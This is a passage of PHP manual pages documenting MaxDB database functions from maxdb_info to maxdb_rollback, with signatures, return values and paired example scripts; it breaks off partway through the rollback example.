string $maxdb->info;

The maxdb_info() function returns a string providing information about the last query executed. The nature of this string is provided below:

Possible maxdb_info return values
Query type | Example result string
INSERT INTO...SELECT... | Records: 100 Duplicates: 0 Warnings: 0
INSERT INTO...VALUES (...),(...),(...) | Records: 3 Duplicates: 0 Warnings: 0
LOAD DATA INFILE ... | Records: 1 Deleted: 0 Skipped: 0 Warnings: 0
ALTER TABLE ... | Records: 3 Duplicates: 0 Warnings: 0
UPDATE ... | Rows matched: 40 Changed: 40 Warnings: 0

Note:

Queries which do not fall into one of the above formats are not supported. In these situations, maxdb_info() will return an empty string.

Return Values

A character string representing additional information about the most recently executed query.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$maxdb->query("CREATE TABLE temp.t1 LIKE hotel.city");

/* INSERT INTO .. SELECT */
$maxdb->query("INSERT INTO temp.t1 SELECT * FROM hotel.city");
printf("%s\n", $maxdb->info);

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_query($link, "CREATE TABLE temp.t1 LIKE hotel.city");

/* INSERT INTO .. SELECT */
maxdb_query($link, "INSERT INTO temp.t1 SELECT * FROM hotel.city");
printf("%s\n", maxdb_info($link));

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Records: 25 Duplicates: 0 Warnings: 0

See Also

  • maxdb_affected_rows() - Gets the number of affected rows in a previous MaxDB operation
  • maxdb_warning_count() - Returns the number of warnings from the last query for the given link
  • maxdb_num_rows() - Gets the number of rows in a result

User Contributed Notes

There are no user contributed notes for this page.


Initializes MaxDB and returns an resource for use with maxdb_real_connect

  • « maxdb_info
  • maxdb_insert_id »
  • PHP Manual
  • MaxDB Functions
  • Initializes MaxDB and returns an resource for use with maxdb_real_connect

maxdb_init

(PECL maxdb >= 1.0)

maxdb_init — Initializes MaxDB and returns an resource for use with maxdb_real_connect

Description

resource maxdb_init ( void )

Allocates or initializes a MaxDB resource suitable for maxdb_options() and maxdb_real_connect().

Note:

Any subsequent calls to any maxdb function (except maxdb_options()) will fail until maxdb_real_connect() was called.

Return Values

Returns an resource.

See Also

  • maxdb_options() - Set options
  • maxdb_close() - Closes a previously opened database connection
  • maxdb_real_connect() - Opens a connection to a MaxDB server
  • maxdb_connect() - Open a new connection to the MaxDB server

User Contributed Notes

There are no user contributed notes for this page.


Returns the auto generated id used in the last query

  • « maxdb_init
  • maxdb_kill »
  • PHP Manual
  • MaxDB Functions
  • Returns the auto generated id used in the last query

maxdb_insert_id

maxdb::insert_id

(PECL maxdb >= 1.0)

maxdb_insert_id -- maxdb::insert_id — Returns the auto generated id used in the last query

Description

Procedural style

mixed maxdb_insert_id ( resource $link )

Object oriented style

mixed $maxdb->insert_id;

The maxdb_insert_id() function returns the ID generated by a query on a table with a column having the DEFAULT SERIAL attribute. If the last query wasn't an INSERT or UPDATE statement or if the modified table does not have a column with the DEFAULT SERIAL attribute, this function will return zero.

Return Values

The value of the DEFAULT SERIAL field that was updated by the previous query. Returns zero if there was no previous query on the connection or if the query did not update an DEFAULT_SERIAL value.

Note:

If the number is greater than maximal int value, maxdb_insert_id() will return a string.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_report (MAXDB_REPORT_OFF);
$maxdb->query("DROP TABLE mycity");
maxdb_report (MAXDB_REPORT_ERROR);

$maxdb->query("CREATE TABLE mycity LIKE hotel.city");
$maxdb->query("ALTER TABLE mycity ADD id FIXED(11) DEFAULT SERIAL");

$query = "INSERT INTO mycity (zip,name,state) VALUES ('12203','Albany' ,'NY')";
$maxdb->query($query);

printf ("New Record has id %d.\n", $maxdb->insert_id);

/* drop table */
$maxdb->query("DROP TABLE mycity");

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_report (MAXDB_REPORT_OFF);
maxdb_query($link,"DROP TABLE mycity");
maxdb_report (MAXDB_REPORT_ERROR);

maxdb_query($link, "CREATE TABLE mycity LIKE hotel.city");
maxdb_query($link, "ALTER TABLE mycity ADD id FIXED(11) DEFAULT SERIAL");

$query = "INSERT INTO mycity (zip,name,state) VALUES ('12203','Albany' ,'NY')";
maxdb_query($link, $query);

printf ("New Record has id %d.\n", maxdb_insert_id($link));

/* drop table */
maxdb_query($link, "DROP TABLE mycity");

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

New Record has id 1.

User Contributed Notes

There are no user contributed notes for this page.


Disconnects from a MaxDB server

  • « maxdb_insert_id
  • maxdb_master_query »
  • PHP Manual
  • MaxDB Functions
  • Disconnects from a MaxDB server

maxdb_kill

maxdb::kill

(PECL maxdb >= 1.0)

maxdb_kill -- maxdb::kill — Disconnects from a MaxDB server

Description

Procedural style

bool maxdb_kill ( resource $link , int $processid )

Object oriented style

bool maxdb::kill ( int $processid )

This function is used to disconnect from a MaxDB server specified by the processid parameter.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* determine our thread id */
$thread_id = $maxdb->thread_id;

/* Kill connection */
$maxdb->kill($thread_id);

/* This should produce an error */
if (!$maxdb->query("CREATE TABLE myCity LIKE City")) {
   printf("Error: %s\n", $maxdb->error);
   exit;
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* determine our thread id */
$thread_id = maxdb_thread_id($link);

/* Kill connection */
maxdb_kill($link, $thread_id);

/* This should produce an error */
if (!maxdb_query($link, "CREATE TABLE myCity LIKE City")) {
   printf("Error: %s\n", maxdb_error($link));
   exit;
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Error: Session not connected

See Also

  • maxdb_thread_id() - Returns the thread ID for the current connection

User Contributed Notes

There are no user contributed notes for this page.


Enforce execution of a query on the master in a master/slave setup

  • « maxdb_kill
  • maxdb_more_results »
  • PHP Manual
  • MaxDB Functions
  • Enforce execution of a query on the master in a master/slave setup

maxdb_master_query

(PECL maxdb >= 1.0)

maxdb_master_query — Enforce execution of a query on the master in a master/slave setup

Description

bool maxdb_master_query ( resource $link , string $query )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Check if there any more query results from a multi query

  • « maxdb_master_query
  • maxdb_multi_query »
  • PHP Manual
  • MaxDB Functions
  • Check if there any more query results from a multi query

maxdb_more_results

maxdb::more_results

(PECL maxdb >= 1.0)

maxdb_more_results -- maxdb::more_results — Check if there any more query results from a multi query

Description

bool maxdb_more_results ( resource $link )

maxdb_more_results() indicates if one or more result sets are available from a previous call to maxdb_multi_query().

Return Values

Always FALSE.

Examples

See maxdb_multi_query().

See Also

  • maxdb_multi_query() - Performs a query on the database
  • maxdb_next_result() - Prepare next result from multi_query
  • maxdb_store_result() - Transfers a result set from the last query
  • maxdb_use_result() - Initiate a result set retrieval

User Contributed Notes

There are no user contributed notes for this page.


Performs a query on the database

  • « maxdb_more_results
  • maxdb_next_result »
  • PHP Manual
  • MaxDB Functions
  • Performs a query on the database

maxdb_multi_query

maxdb::multi_query

(PECL maxdb >= 1.0)

maxdb_multi_query -- maxdb::multi_query — Performs a query on the database

Description

Procedural style

bool maxdb_multi_query ( resource $link , string $query )

Object oriented style

bool maxdb::multi_query ( string $query )

The maxdb_multi_query() works like the function maxdb_query(). Multiple queries are not yet supported.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query  = "SELECT * FROM dual";

/* execute multi query */
if ($maxdb->multi_query($query)) {
   do {
       /* store first result set */
       if ($result = $maxdb->store_result()) {
           while ($row = $result->fetch_row()) {
               printf("%s\n", $row[0]);
           }
           $result->close();
       }
       /* print divider */
       if ($maxdb->more_results()) {
           printf("-----------------\n");
       }
   } while ($maxdb->next_result());
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT * FROM dual";

/* execute multi query */
if (maxdb_multi_query($link, $query)) {
   do {
       /* store first result set */
       if ($result = maxdb_store_result($link)) {
           while ($row = maxdb_fetch_row($result)) {
               printf("%s\n", $row[0]);
           }
           maxdb_free_result($result);
       }
       /* print divider */
       if (maxdb_more_results($link)) {
           printf("-----------------\n");
       }
   } while (maxdb_next_result($link));
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

a

See Also

  • maxdb_use_result() - Initiate a result set retrieval
  • maxdb_store_result() - Transfers a result set from the last query
  • maxdb_next_result() - Prepare next result from multi_query
  • maxdb_more_results() - Check if there any more query results from a multi query

User Contributed Notes

There are no user contributed notes for this page.


Prepare next result from multi_query

  • « maxdb_multi_query
  • maxdb_num_fields »
  • PHP Manual
  • MaxDB Functions
  • Prepare next result from multi_query

maxdb_next_result

maxdb::next_result

(PECL maxdb >= 1.0)

maxdb_next_result -- maxdb::next_result — Prepare next result from multi_query

Description

bool maxdb_next_result ( resource $link )

Since multiple queries are not yet supported, maxdb_next_result() returns always FALSE.

Return Values

Returns FALSE.

See Also

  • maxdb_multi_query() - Performs a query on the database
  • maxdb_more_results() - Check if there any more query results from a multi query
  • maxdb_store_result() - Transfers a result set from the last query
  • maxdb_use_result() - Initiate a result set retrieval

User Contributed Notes

There are no user contributed notes for this page.


Get the number of fields in a result

  • « maxdb_next_result
  • maxdb_num_rows »
  • PHP Manual
  • MaxDB Functions
  • Get the number of fields in a result

maxdb_num_fields

maxdb_result::field_count

(PECL maxdb >= 1.0)

maxdb_num_fields -- maxdb_result::field_count — Get the number of fields in a result

Description

Procedural style

int maxdb_num_fields ( resource $result )

Object oriented style

int $maxdb_result->field_count;

maxdb_num_fields() returns the number of fields from specified result set.

Return Values

The number of fields from a result set

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if ($result = $maxdb->query("SELECT * FROM hotel.city ORDER BY zip")) {

   /* determine number of fields in result set */
   $field_cnt = $result->field_count;

   printf("Result set has %d fields.\n", $field_cnt);

   /* close result set */
   $result->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if ($result = maxdb_query($link, "SELECT * FROM hotel.city ORDER BY zip")) {

   /* determine number of fields in result set */
   $field_cnt = maxdb_num_fields($result);

   printf("Result set has %d fields.\n", $field_cnt);

   /* close result set */
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Result set has 3 fields.

See Also

  • maxdb_fetch_field() - Returns the next field in the result set

User Contributed Notes

There are no user contributed notes for this page.


Gets the number of rows in a result

  • « maxdb_num_fields
  • maxdb_options »
  • PHP Manual
  • MaxDB Functions
  • Gets the number of rows in a result

maxdb_num_rows

maxdb::num_rows

(PECL maxdb >= 1.0)

maxdb_num_rows -- maxdb::num_rows — Gets the number of rows in a result

Description

Procedural style

int maxdb_num_rows ( resource $result )

Object oriented style

int $maxdb->num_rows;

Returns the number of rows in the result set.

The use of maxdb_num_rows() depends on whether you use buffered or unbuffered result sets. In case you use unbuffered resultsets maxdb_num_rows() will not correct the correct number of rows until all the rows in the result have been retrieved.

Return Values

Returns number of rows in the result set.

Note:

If the number of rows is greater than maximal int value, the number will be returned as a string.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if ($result = $maxdb->query("SELECT cno, name FROM hotel.customer ORDER BY name")) {

   /* determine number of rows result set */
   $row_cnt = $result->num_rows;

   printf("Result set has %d rows.\n", $row_cnt);

   /* close result set */
   $result->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if ($result = maxdb_query($link, "SELECT cno, name FROM hotel.customer ORDER BY name")) {

   /* determine number of rows result set */
   $row_cnt = maxdb_num_rows($result);

   printf("Result set has %d rows.\n", $row_cnt);

   /* close result set */
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Result set has 15 rows.

See Also

  • maxdb_affected_rows() - Gets the number of affected rows in a previous MaxDB operation
  • maxdb_store_result() - Transfers a result set from the last query
  • maxdb_use_result() - Initiate a result set retrieval
  • maxdb_query() - Performs a query on the database

User Contributed Notes

There are no user contributed notes for this page.


Set options

  • « maxdb_num_rows
  • maxdb_param_count »
  • PHP Manual
  • MaxDB Functions
  • Set options

maxdb_options

maxdb::options

(PECL maxdb >= 1.0)

maxdb_options -- maxdb::options — Set options

Description

Procedural style

bool maxdb_options ( resource $link , int $option , mixed $value )

Object oriented style

bool maxdb::options ( int $option , mixed $value )

maxdb_options() can be used to set extra connect options and affect behavior for a connection.

This function may be called multiple times to set several options.

maxdb_options() should be called after maxdb_init() and before maxdb_real_connect().

The parameter option is the option that you want to set, the value is the value for the option. For detailed description of the options see » http://maxdb.sap.com/documentation/ The parameter option can be one of the following values:

Valid options
Name | Description
MAXDB_COMPNAME | The component name used to initialise the SQLDBC runtime environment.
MAXDB_APPLICATION | The application to be connected to the database.
MAXDB_APPVERSION | The version of the application.
MAXDB_SQLMODE | The SQL mode.
MAXDB_UNICODE | TRUE, if the connection is an unicode (UCS2) client or FALSE, if not.
MAXDB_TIMEOUT | The maximum allowed time of inactivity after which the connection to the database is closed by the system.
MAXDB_ISOLATIONLEVEL | Specifies whether and how shared locks and exclusive locks are implicitly requested or released.
MAXDB_PACKETCOUNT | The number of different request packets used for the connection.
MAXDB_STATEMENTCACHESIZE | The number of prepared statements to be cached for the connection for re-use.
MAXDB_CURSORPREFIX | The prefix to use for result tables that are automatically named.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

See maxdb_real_connect().

See Also

  • maxdb_init() - Initializes MaxDB and returns an resource for use with maxdb_real_connect
  • maxdb_real_connect() - Opens a connection to a MaxDB server

User Contributed Notes

There are no user contributed notes for this page.


Alias of maxdb_stmt_param_count

  • « maxdb_options
  • maxdb_ping »
  • PHP Manual
  • MaxDB Functions
  • Alias of maxdb_stmt_param_count

maxdb_param_count

(PECL maxdb 1.0)

maxdb_param_count — Alias of maxdb_stmt_param_count()

Description

This function is an alias of: maxdb_stmt_param_count().

This function alias is deprecated and only exists for backwards compatibility reasons. The use of this function is not recommended, as it may be removed from PHP in the future.

User Contributed Notes

There are no user contributed notes for this page.


Pings a server connection, or tries to reconnect if the connection has gone down

  • « maxdb_param_count
  • maxdb_prepare »
  • PHP Manual
  • MaxDB Functions
  • Pings a server connection, or tries to reconnect if the connection has gone down

maxdb_ping

maxdb::ping

(PECL maxdb >= 1.0)

maxdb_ping -- maxdb::ping — Pings a server connection, or tries to reconnect if the connection has gone down

Description

Procedural style

bool maxdb_ping ( resource $link )

Object oriented style

bool maxdb::ping ( void )

Checks whether the connection to the server is working. If it has gone down, and global option maxdb.reconnect is enabled an automatic reconnection is attempted.

This function can be used by clients that remain idle for a long while, to check whether the server has closed the connection and reconnect if necessary.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* check if server is alive */
if ($maxdb->ping()) {
   printf ("Our connection is ok!\n");
} else {
   printf ("Error: %s\n", $maxdb->error);
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* check if server is alive */
if (maxdb_ping($link)) {
   printf ("Our connection is ok!\n");
} else {
   printf ("Error: %s\n", maxdb_error($link));
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Our connection is ok!

User Contributed Notes

There are no user contributed notes for this page.


Prepare an SQL statement for execution

  • « maxdb_ping
  • maxdb_query »
  • PHP Manual
  • MaxDB Functions
  • Prepare an SQL statement for execution

maxdb_prepare

maxdb::prepare

(PECL maxdb >= 1.0)

maxdb_prepare -- maxdb::prepare — Prepare an SQL statement for execution

Description

Procedural style

resource maxdb_prepare ( resource $link , string $query )

Object oriented style

maxdb_stmt maxdb::prepare ( string $query )

maxdb_prepare() prepares the SQL query pointed to by the null-terminated string query, and returns a statement handle to be used for further operations on the statement. The query must consist of a single SQL statement.

Note:

You should not add a terminating semicolon or \g to the statement.

The parameter query can include one or more parameter markers in the SQL statement by embedding question mark (?) characters at the appropriate positions.

Note:

The markers are legal only in certain places in SQL statements. For example, they are allowed in the VALUES() list of an INSERT statement (to specify column values for a row), or in a comparison with a column in a WHERE clause to specify a comparison value.

However, they are not allowed for identifiers (such as table or column names), in the select list that names the columns to be returned by a SELECT statement), or to specify both operands of a binary operator such as the = equal sign. The latter restriction is necessary because it would be impossible to determine the parameter type. In general, parameters are legal only in Data Manipulation Languange (DML) statements, and not in Data Defination Language (DDL) statements.

The parameter markers must be bound to application variables using maxdb_stmt_bind_param() and/or maxdb_stmt_bind_result() before executing the statement or fetching rows.

Return Values

maxdb_prepare() returns a statement resource or FALSE if an error occurred.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$city = "Rosemont";

/* create a prepared statement */
if ($stmt = $maxdb->prepare("SELECT state FROM hotel.city WHERE name=?")) {

   /* bind parameters for markers */
   $stmt->bind_param("s", $city);

   /* execute query */
   $stmt->execute();

   /* bind result variables */
   $stmt->bind_result($district);

   /* fetch value */
   $stmt->fetch();

   printf("%s is in district %s\n", $city, $district);

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$city = "Rosemont";

/* create a prepared statement */
if ($stmt = maxdb_prepare($link, "SELECT state FROM hotel.city WHERE name=?")) {

   /* bind parameters for markers */
   maxdb_stmt_bind_param($stmt, "s", $city);

   /* execute query */
   maxdb_stmt_execute($stmt);

  /* bind result variables */
   maxdb_stmt_bind_result($stmt, $district);

   /* fetch value */
   maxdb_stmt_fetch($stmt);

   printf("%s is in district %s\n", $city, $district);

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Rosemont is in district IL

See Also

  • maxdb_stmt_execute() - Executes a prepared Query
  • maxdb_stmt_fetch() - Fetch results from a prepared statement into the bound variables
  • maxdb_stmt_bind_param() - Binds variables to a prepared statement as parameters
  • maxdb_stmt_bind_result() - Binds variables to a prepared statement for result storage
  • maxdb_stmt_close() - Closes a prepared statement

User Contributed Notes

There are no user contributed notes for this page.


Performs a query on the database

  • « maxdb_prepare
  • maxdb_real_connect »
  • PHP Manual
  • MaxDB Functions
  • Performs a query on the database

maxdb_query

maxdb::query

(PECL maxdb >= 1.0)

maxdb_query -- maxdb::query — Performs a query on the database

Description

Procedural style

mixed maxdb_query ( resource $link , string $query [, int $resultmode ] )

Object oriented style

mixed maxdb::query ( string $query )

The maxdb_query() function is used to simplify the act of performing a query against the database represented by the link parameter.

Return Values

Returns TRUE on success or FALSE on failure. For SELECT, SHOW, DESCRIBE or EXPLAIN maxdb_query() will return a result resource.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* Create table doesn't return a resultset */
if ($maxdb->query("CREATE TABLE temp.mycity LIKE hotel.city") === TRUE) {
   printf("Table mycity successfully created.\n");
}

/* Select queries return a resultset */
if ($result = $maxdb->query("SELECT name FROM hotel.city")) {
   printf("Select returned %d rows.\n", $result->num_rows);

   /* free result set */
   $result->close();
}

/* If we have to retrieve large amount of data we use MAXDB_USE_RESULT */
if ($result = $maxdb->query("SELECT * FROM hotel.city", MAXDB_USE_RESULT)) {
   $result->close();
}

$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* Create table doesn't return a resultset */
if (maxdb_query($link, "CREATE TABLE temp.mycity LIKE hotel.city") === TRUE) {
   printf("Table mycity successfully created.\n");
}

/* Select queries return a resultset */
if ($result = maxdb_query($link, "SELECT name FROM hotel.city")) {
   printf("Select returned %d rows.\n", maxdb_num_rows($result));

   /* free result set */
   maxdb_free_result($result);
}

/* If we have to retrieve large amount of data we use MAXDB_USE_RESULT */
if ($result = maxdb_query($link, "SELECT * FROM hotel.city", MAXDB_USE_RESULT)) {
   maxdb_free_result($result);
}

maxdb_close($link);
?>

The above example will output something similar to:

Table mycity successfully created.
Select returned 25 rows.

See Also

  • maxdb_real_query() - Execute an SQL query
  • maxdb_multi_query() - Performs a query on the database
  • maxdb_free_result() - Frees the memory associated with a result

User Contributed Notes

There are no user contributed notes for this page.


Opens a connection to a MaxDB server

  • « maxdb_query
  • maxdb_real_escape_string »
  • PHP Manual
  • MaxDB Functions
  • Opens a connection to a MaxDB server

maxdb_real_connect

maxdb::real_connect

(PECL maxdb >= 1.0)

maxdb_real_connect -- maxdb::real_connect — Opens a connection to a MaxDB server

Description

Procedural style

bool maxdb_real_connect ( resource $link [, string $hostname [, string $username [, string $passwd [, string $dbname [, int $port = 0 [, string $socket ]]]]]] )

Object oriented style

bool maxdb::real_connect ([ string $hostname [, string $username [, string $passwd [, string $dbname [, int $port = 0 [, string $socket ]]]]]] )

maxdb_real_connect() attempts to establish a connection to a MaxDB database engine running on hostname.

This function differs from maxdb_connect():

  • maxdb_real_connect() needs a valid resource which has to be created by function maxdb_init()

  • With function maxdb_options() you can set various options for connection.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php

/* create a connection object which is not connected */
$maxdb = maxdb_init();

/* set connection options */
$maxdb->options(MAXDB_UNICODE, "FALSE");
$maxdb->options(MAXDB_TIMEOUT, 5);

/* connect to server */
$maxdb->real_connect('localhost', 'MONA', 'RED', 'DEMODB');

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

printf ("Connection: %s\n.", $maxdb->host_info);

$maxdb->close();
?>

Example #2 Procedural style

<?php

/* create a connection object which is not connected */
$link = maxdb_init();

/* set connection options */
maxdb_options($link, MAXDB_UNICODE, "FALSE");
maxdb_options($link, MAXDB_TIMEOUT, 5);

/* connect to server */
maxdb_real_connect($link, 'localhost', 'MONA', 'RED', 'DEMODB');

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

printf ("Connection: %s\n.", maxdb_get_host_info($link));

maxdb_close($link);
?>

The above example will output something similar to:

Connection: localhost <...>

See Also

  • maxdb_connect() - Open a new connection to the MaxDB server
  • maxdb_init() - Initializes MaxDB and returns an resource for use with maxdb_real_connect
  • maxdb_options() - Set options
  • maxdb_ssl_set() - Used for establishing secure connections using SSL
  • maxdb_close() - Closes a previously opened database connection

User Contributed Notes

There are no user contributed notes for this page.


Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection

  • « maxdb_real_connect
  • maxdb_real_query »
  • PHP Manual
  • MaxDB Functions
  • Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection

maxdb_real_escape_string

maxdb::real_escape_string

(PECL maxdb >= 1.0)

maxdb_real_escape_string -- maxdb::real_escape_string — Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection

Description

Procedural style

string maxdb_real_escape_string ( resource $link , string $escapestr )

Object oriented style

string maxdb::real_escape_string ( string $escapestr )

This function is used to create a legal SQL string that you can use in an SQL statement. The string escapestr is encoded to an escaped SQL string, taking into account the current character set of the connection.

Characters encoded are ', ".

Return Values

Returns an escaped string.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$maxdb->query("CREATE TABLE temp.mycity LIKE hotel.city");

$city = "'s Hertogenbosch";

/* this query will fail, cause we didn't escape $city */
if (!$maxdb->query("INSERT into temp.mycity VALUES ('11111','$city','NY')")) {
   printf("Error: %s\n", $maxdb->sqlstate);
}

$city = $maxdb->real_escape_string($city);

/* this query with escaped $city will work */
if ($maxdb->query("INSERT into temp.mycity VALUES ('22222','$city','NY')")) {
   printf("%d Row inserted.\n", $maxdb->affected_rows);
}

$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_query($link, "CREATE TABLE temp.mycity LIKE hotel.city");

$city = "'s Hertogenbosch";

/* this query will fail, cause we didn't escape $city */
if (!maxdb_query($link, "INSERT into temp.mycity VALUES ('11111','$city','NY')")) {
   printf("Error: %s\n", maxdb_sqlstate($link));
}

$city = maxdb_real_escape_string($link, $city);

/* this query with escaped $city will work */
if (maxdb_query($link, "INSERT into temp.mycity VALUES ('22222','$city','NY')")) {
   printf("%d Row inserted.\n", maxdb_affected_rows($link));
}

maxdb_close($link);
?>

The above example will output something similar to:

Warning: maxdb_query(): -5016 POS(43) Missing delimiter: ) <...>
Error: 42000
1 Row inserted.

See Also

  • maxdb_character_set_name() - Returns the default character set for the database connection

User Contributed Notes

There are no user contributed notes for this page.


Execute an SQL query

  • « maxdb_real_escape_string
  • maxdb_report »
  • PHP Manual
  • MaxDB Functions
  • Execute an SQL query

maxdb_real_query

maxdb::real_query

(PECL maxdb >= 1.0)

maxdb_real_query -- maxdb::real_query — Execute an SQL query

Description

Procedural style

bool maxdb_real_query ( resource $link , string $query )

Object oriented style

bool maxdb::real_query ( string $query )

The maxdb_real_query() is functionally identical with the maxdb_query().

Note:

In order to determine if a given query should return a result set or not, see maxdb_field_count().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • maxdb_query() - Performs a query on the database
  • maxdb_store_result() - Transfers a result set from the last query
  • maxdb_use_result() - Initiate a result set retrieval

User Contributed Notes

There are no user contributed notes for this page.


Enables or disables internal report functions

  • « maxdb_real_query
  • maxdb_rollback »
  • PHP Manual
  • MaxDB Functions
  • Enables or disables internal report functions

maxdb_report

(PECL maxdb 1.0)

maxdb_report — Enables or disables internal report functions

Description

bool maxdb_report ( int $flags )

Parameters

flags

One of the MAXDB_REPORT_XXX constants.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Procedural style

<?php
/* activate reporting */
maxdb_report(MAXDB_REPORT_ERROR);

$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* this query should report an error */
$result = maxdb_query($link,"SELECT Name FROM Nonexistingtable WHERE population > 50000");

maxdb_close($link);
?>

The above example will output something similar to:

Warning: maxdb_query(): -4004 POS(18) Unknown table name:NONEXISTINGTABLE <...>

User Contributed Notes

There are no user contributed notes for this page.


Rolls back current transaction

  • « maxdb_report
  • maxdb_rpl_parse_enabled »
  • PHP Manual
  • MaxDB Functions
  • Rolls back current transaction

maxdb_rollback

maxdb::rollback

(PECL maxdb >= 1.0)

maxdb_rollback -- maxdb::rollback — Rolls back current transaction

Description

Procedural style

bool maxdb_rollback ( resource $link )

Object oriented style

bool maxdb::rollback ( void )

Rollbacks the current transaction for the database specified by the link parameter.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* disable autocommit */
$maxdb->autocommit(FALSE);

